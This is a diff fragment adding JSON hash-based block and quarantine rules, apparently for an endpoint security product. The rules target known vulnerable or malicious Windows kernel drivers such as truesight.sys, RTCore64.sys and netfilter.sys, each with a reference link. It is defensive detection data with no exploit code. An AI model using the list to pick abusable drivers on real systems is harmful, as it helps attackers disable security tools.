+  "type": "hash",
+  "value": "fb5e65aec819c5a91ef0ce0fec0a957826b5e1ac9bac559a1b4201a3870462a3",
+  "comment": "PassMark vulnerable driver (aka DirectIo32.sys and DirectIo64.sys) [CVE-2020-15479] [https://github.com/eset/vulnerability-disclosures/blob/master/CVE-2020-15479/CVE-2020-15479.md] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3119f1e5-d603-5f84-bc80-1f2a095e9d56",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.826251Z",
+  "creation_date": "2026-03-23T11:45:31.826253Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.826261Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a57065508fcf79d4ada8dfff3960832fc5965e51733ae0aa3a5d280a4064e5c7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3137042b-1339-507c-a5f2-44a47bff5d4d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.159312Z",
+  "creation_date": "2026-03-23T11:45:31.159314Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.159319Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f0c8d9088dc4f244448c52981a1787abacd05479b82a96ef3afd6e2df19794c1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "313e93bd-80ac-5af6-a9d7-8ba5cff3779e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.154076Z",
+  "creation_date": "2026-03-23T11:45:31.154078Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.154083Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2f1f37add1d46ef96b65eb6b7c391634daf8bc05ab6974309e78134c2b2bdf81",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3142ec86-2409-58ab-94c5-cd01beaa2697",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.808377Z",
+  "creation_date": "2026-03-23T11:45:31.808379Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.808385Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ec3523b3ae9f1e93bd536d2bfd6bf7009f88cd72180fea24cc02e17b01b9c889",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "315327da-365c-587f-b3a4-362d429c6631",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.492320Z",
+  "creation_date": "2026-03-23T11:45:31.492322Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.492328Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8b4292dd2aa44e4a733a24aa3b49af054eede5f94bb18ed70a8ed7e8f3f7d003",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3159d35b-ef9c-53ad-b182-3d96a63b694e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.827910Z",
+  "creation_date": "2026-03-23T11:45:30.827912Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.827917Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f0a96853916610e6482d05a736227f1714f3788446c30fc01580ebee8aa293aa",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "31640dd0-8643-5767-823f-94c52d42d706",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.621072Z",
+  "creation_date": "2026-03-23T11:45:29.621074Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.621079Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7196187fb1ef8d108b380d37b2af8efdeb3ca1f6eefd37b5dc114c609147216d",
+  "comment": "CoreTemp Physmem dangerous drivers (aka ALSYSIO64.sys) [https://www.loldrivers.io/drivers/4d365dd0-34c3-492e-a2bd-c16266796ae5/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3169d357-3608-594c-9e8d-6fa626e7e748",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.457069Z",
+  "creation_date": "2026-03-23T11:45:30.457073Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.457082Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "773dc9256c4eada182a5b41179a522740ba994eff30f868641bc91574705b8e3",
+  "comment": "Vulnerable Kernel Driver (aka iobitunlocker.sys) [https://www.loldrivers.io/drivers/e368efc7-cf69-47ae-8204-f69dac000b22/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "316aa217-e371-521b-83bf-3e888dd7467f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.460984Z",
+  "creation_date": "2026-03-23T11:45:30.460987Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.460996Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "67cd6166d791bdf74453e19c015b2cb1e85e41892c04580034b65f9f03fe2e79",
+  "comment": "Vulnerable Kernel Driver (aka RTCore64.sys) [https://www.loldrivers.io/drivers/e32bc3da-4db1-4858-a62c-6fbe4db6afbd/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "316ab67d-e06a-5444-b59a-d4cf7b2f5aee",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.807928Z",
+  "creation_date": "2026-03-23T11:45:31.807931Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.807940Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "22d850d29f5bae36a8981a5fe6464e6fe8759802efaaedd5be5de1ac9d5f521b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "316fbe63-f1e5-5dd6-a2cf-6c55dadbb027",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.152704Z",
+  "creation_date": "2026-03-23T11:45:31.152706Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.152711Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fd85a6de046a79940fe6db2228c0089f11cbd5b8f7b5dab5ea3c54de69f7f905",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "317cd096-8e96-54f7-b938-fb3ffefd8bc7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.824587Z",
+  "creation_date": "2026-03-23T11:45:31.824591Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.824600Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3434fb840a9987286f03a9653588f1798075a53fcacac6137bf58f98e632cbdb",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "31899b63-d7c0-5aa9-93da-44795b287fe0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.603976Z",
+  "creation_date": "2026-03-23T11:45:29.603978Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.603984Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7509d30b279e30893db7851a2912a5ffb29ec7e839220890d76de8e3a57b4872",
+  "comment": "Vulnerable Kernel Driver (aka BEDAISY.SYS) [https://www.loldrivers.io/drivers/db666d40-c9fa-4039-bfac-a5d7afd61b67/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "318a83c6-7093-5733-bb90-7a379ee4ea21",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.983386Z",
+  "creation_date": "2026-03-23T11:45:29.983388Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.983394Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0b8887921e4a22e24fd058ba5ac40061b4bb569ac7207b9548168af9d6995e7c",
+  "comment": "Vulnerable Kernel Driver (aka kbdcap64.sys) [https://www.loldrivers.io/drivers/6a7d882b-3d9d-4334-be5f-2e29c6bf9ff8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "318b0fcc-b94d-50af-884d-bea43d54cfe1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.822761Z",
+  "creation_date": "2026-03-23T11:45:31.822764Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.822772Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2060c11cd0b210644db7af370f95fcb5c532e99a1cd09a6d56b8aaed2c040f15",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "318cabe3-d870-5a43-b6cc-7f832a23f946",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.488639Z",
+  "creation_date": "2026-03-23T11:45:31.488641Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.488646Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8855f2a86d7447e75797314eace8ea6bddb960811e33fbb858ce3a1b39c48344",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "318f10e7-75a4-5f88-8734-a7942a045f26",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.967640Z",
+  "creation_date": "2026-03-23T11:45:29.967642Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.967648Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "57038bb35abfae1e216782043c710be6972f49beae5b0f7b2b524f152d27eda5",
+  "comment": "Retliften malicious signed drivers (aka netfilter.sys) [https://msrc-blog.microsoft.com/2021/06/25/investigating-and-mitigating-malicious-drivers/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3193a6bc-e636-569f-bb47-d0f1f53630aa",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.822424Z",
+  "creation_date": "2026-03-23T11:45:30.822426Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.822431Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "448048bafeb3796bfce954dd78e1b90f5849d9b3459c51750f210da8bafb8753",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "31a48dbf-0638-585c-beca-635c01631411",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.148416Z",
+  "creation_date": "2026-03-23T11:45:31.148418Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.148424Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "415af8037165a928dbb77fb07599666acb3f5c816219971f76051a7e40ca6b30",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "31a5d259-fe11-56c5-962b-5a6080060d61",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.980481Z",
+  "creation_date": "2026-03-23T11:45:29.980483Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.980489Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3e28142ad02a1ac63ab86f97834321f30bb28e19d5c997bb0a13807ddb414c0e",
+  "comment": "Vulnerable Kernel Driver (aka rzpnk.sys) [https://www.loldrivers.io/drivers/1c6e1d3b-f825-4065-9e0c-83386883e40f/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "31b9cd4e-81db-5d44-92bd-7d33f1f2e368",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.976782Z",
+  "creation_date": "2026-03-23T11:45:29.976784Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.976790Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f571b5302e900254cb1a46a7e1dd9190bceecb24c73ef3e36b4ff59517ad1e37",
+  "comment": "Malicious Windows Kernel Explorer Driver (aka WindowsKernelExplorer.sys) [https://news.sophos.com/en-us/2023/04/19/aukill-edr-killer-malware-abuses-process-explorer-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "31be4bd4-eabc-5407-99ea-c1917330299c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.152390Z",
+  "creation_date": "2026-03-23T11:45:31.152394Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.152403Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "eef20092ec73e387548789a739a64c8027dc18231ede2acf50891abff12242a3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "31c13a82-b385-5970-b146-9bc0c3aaf02a",
